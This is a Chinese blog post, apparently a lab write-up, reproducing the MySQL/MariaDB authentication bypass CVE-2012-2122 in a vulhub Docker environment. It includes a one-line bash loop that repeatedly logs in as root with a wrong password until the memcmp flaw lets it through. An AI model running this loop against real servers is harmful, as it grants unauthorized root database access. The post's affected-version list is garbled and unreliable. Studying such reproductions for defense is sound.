CVE 2012-2122

文章讨论了一个影响MySQL和MariaDB的身份验证漏洞,由于memcmp函数处理不当,允许用户即使输入错误密码也能登录(如果账户名正确)。这个漏洞主要出现在特定版本中,且存在一个利用EXP来复现问题。在实验环境中,使用EXP可以在密码错误的情况下以root用户成功登录MySQL服务器。
摘要由CSDN通过智能技术生成

漏洞简介:

​ 出现在mysql/mariaDb上的一个身份绕过漏洞,在客户端进行身份验证时输入值会与验证密码对比由于menmcmo()得的不正确处理导致用户在密码错误是也可以成功登录。因为memcmp()在处理时会返回-128~127的有符号值(即256种情况),但是当用户再使用某些不安全的优化时会导致函数可能返回超出此范围的数值,进而导致即便用户输入的错误密码也会成功登录(账户名正确);因为身份验证时回生成不同的哈希值,因此使用一个密码成功登录的几率为1/256.

实验中我们使用exp在对应版本上的服务进行登陆时,即便密码错误也能成功以root用户登录。

搭建环境

  • vulhub环境
  • kali攻击机 :
  • ubuntu 搭建docker环境

适用版本

  • MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.

  • MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

漏洞EXP:

for i in `seq 1 1000`;do mysql -uroot -pwrong -hlocalhost -P3306;done

漏洞复现

进入漏洞目录下启动环境:

在这里插入图片描述

#docker-compose up -d 启动容器并放入后台运行

#docker-compose ps 查看当前与运行的容器实例

在kali上运行exp,成功登录拿到mysql的交互shell

在这里插入图片描述

查看一下当前连接用户:select current_user();

在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值